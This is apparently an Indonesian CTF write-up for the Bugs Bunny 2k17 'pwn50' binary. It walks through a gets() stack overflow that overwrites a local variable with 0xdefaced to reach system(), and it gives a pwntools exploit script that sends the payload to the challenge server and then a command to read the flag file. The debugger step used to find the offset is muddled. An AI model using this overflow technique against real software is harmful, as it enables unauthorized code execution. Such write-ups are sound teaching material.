Bugs Bunny 2k17 CTF - Pwn50
Diberikan file ELF binary bernama pwn50 64-Bit yang harus dibuatkan exploit nya agar bisa mendapatkan flag.
➜ file pwn50
pwn50: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9100876ac8da789151a1afcbc3e43ddaca1305c1, not stripped
Binary ini hanya meminta user input tanpa mengirim kembali outputnya
➜ ./pwn50
saya ganteng
Dengan menggunakan nm
terlihat bahwa binary tersebut menggunakan fungsi gets()
yang tidak membatasi user input sehingga dapat menyebabkan Buffer Overflow.
➜ nm -D pwn50
U geteuid
U gets
w __gmon_start__
U __libc_start_main
U puts
U setreuid
U system
Berikut hasil disassembly menggunakan gdb peda
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0000000000400646 <+0>: push rbp
0x0000000000400647 <+1>: mov rbp,rsp
0x000000000040064a <+4>: push rbx
0x000000000040064b <+5>: sub rsp,0x38
0x000000000040064f <+9>: mov DWORD PTR [rbp-0x34],edi
0x0000000000400652 <+12>: mov QWORD PTR [rbp-0x40],rsi
0x0000000000400656 <+16>: mov QWORD PTR [rbp-0x18],0x0
0x000000000040065e <+24>: lea rax,[rbp-0x30]
0x0000000000400662 <+28>: mov rdi,rax
0x0000000000400665 <+31>: mov eax,0x0
0x000000000040066a <+36>: call 0x400520 <gets@plt>
0x000000000040066f <+41>: movzx eax,BYTE PTR [rbp-0x30]
0x0000000000400673 <+45>: cmp al,0x62
0x0000000000400675 <+47>: jne 0x4006ce <main+136>
0x0000000000400677 <+49>: movzx eax,BYTE PTR [rbp-0x2f]
0x000000000040067b <+53>: cmp al,0x75
0x000000000040067d <+55>: jne 0x4006ce <main+136>
0x000000000040067f <+57>: movzx eax,BYTE PTR [rbp-0x2e]
0x0000000000400683 <+61>: cmp al,0x67
0x0000000000400685 <+63>: jne 0x4006ce <main+136>
0x0000000000400687 <+65>: cmp QWORD PTR [rbp-0x18],0xdefaced
0x000000000040068f <+73>: jne 0x4006ce <main+136>
0x0000000000400691 <+75>: mov edi,0x400764
0x0000000000400696 <+80>: call 0x4004e0 <puts@plt>
0x000000000040069b <+85>: mov eax,0x0
0x00000000004006a0 <+90>: call 0x400500 <geteuid@plt>
0x00000000004006a5 <+95>: mov ebx,eax
0x00000000004006a7 <+97>: mov eax,0x0
0x00000000004006ac <+102>: call 0x400500 <geteuid@plt>
0x00000000004006b1 <+107>: mov esi,ebx
0x00000000004006b3 <+109>: mov edi,eax
0x00000000004006b5 <+111>: mov eax,0x0
0x00000000004006ba <+116>: call 0x400530 <setreuid@plt>
0x00000000004006bf <+121>: mov edi,0x400773
0x00000000004006c4 <+126>: mov eax,0x0
0x00000000004006c9 <+131>: call 0x4004f0 <system@plt>
0x00000000004006ce <+136>: mov eax,0x0
0x00000000004006d3 <+141>: add rsp,0x38
0x00000000004006d7 <+145>: pop rbx
0x00000000004006d8 <+146>: pop rbp
0x00000000004006d9 <+147>: ret
End of assembler dump.
Terdapat local variable yang terletak di rbp-0x18
diinisialisasi dengan nilai 0x00
0x0000000000400656 <+16>: mov QWORD PTR [rbp-0x18],0x0
User input akan disimpan di rbp-0x30
0x000000000040065e <+24>: lea rax,[rbp-0x30]
0x0000000000400662 <+28>: mov rdi,rax
0x0000000000400665 <+31>: mov eax,0x0
0x000000000040066a <+36>: call 0x400520 <gets@plt>
Selain itu terdapat perbandingan (cmp)
yang dimana membandingkan 3 karakter pertama dari user input al dengan 0x62,0x75,dan 0x67
. Apabila 0x62,0x75,dan 0x67
di convert ke ascii menghasilkan bug
Berikut nya terdapat perbandingan antara local variable di rbp-0x18
dengan 0xdefaced
atau 233811181
dalam desimal.
0x0000000000400673 <+45>: cmp al,0x62
0x0000000000400675 <+47>: jne 0x4006ce <main+136>
0x0000000000400677 <+49>: movzx eax,BYTE PTR [rbp-0x2f]
0x000000000040067b <+53>: cmp al,0x75
0x000000000040067d <+55>: jne 0x4006ce <main+136>
0x000000000040067f <+57>: movzx eax,BYTE PTR [rbp-0x2e]
0x0000000000400683 <+61>: cmp al,0x67
0x0000000000400685 <+63>: jne 0x4006ce <main+136>
0x0000000000400687 <+65>: cmp QWORD PTR [rbp-0x18],0xdefaced
Semua perbandingan diatas harus bernilai benar agar bisa mendapatkan flag, apabila tidak akan arahkan ke 0x00000000004006ce
atau program akan exit(0)
.
0x00000000004006ce <+136>: mov eax,0x0
Tujuan kita adalah mengganti nilai 0x0 pada local variable yang terletak di rbp-0x18
dengan nilai 0xdefaced
agar bisa mendapatkan flag.
Cara merubah nilai local variable tersebut sangat mudah, kita bisa menggunakan gdb.
gdb-peda$ b *main
Breakpoint 1 at 0x400646
gdb-peda$ r
gdb-peda$ x/x $rbp-0x30
0x4006b0 <main+106>: 0x0000b8c789de89ff
gdb-peda$ x/x $rbp-0x18
0x4006c8 <main+130>: 0x00b8fffffe22e800
Sehingga didapatkan alamat dari $rbp-0x30
adalah 0x4006b0
dan $rbp-0x18
adalah 0x4006c8
>>> 0x4006b0-0x4006c8
-24
Dari hasil pengurangan tersebut, dibutuhkan 24 bytes untuk melakukan overwrite terdhap nilai local variable $rbp-0x18
Penyusanan payloadnya seperti berikut.
bug + (A * 21) + 0xdefaced
Disini saya menggunakan pwntools
untuk membuat exploitnya
from pwn import *
r = remote("54.67.102.66",5251)
payload = "bug"
payload += "A"*21
correct_value = p32(0xdefaced)
payload_to_send = payload+correct_value
r.sendline(payload_to_send)
r.sendline("cat /home/pwn50/flag")
log.info("Your Flag:%s"% r.recvline_contains("Bugs_Bunny"))
Setelah script exploit dijalankan akan mendaptkan flag.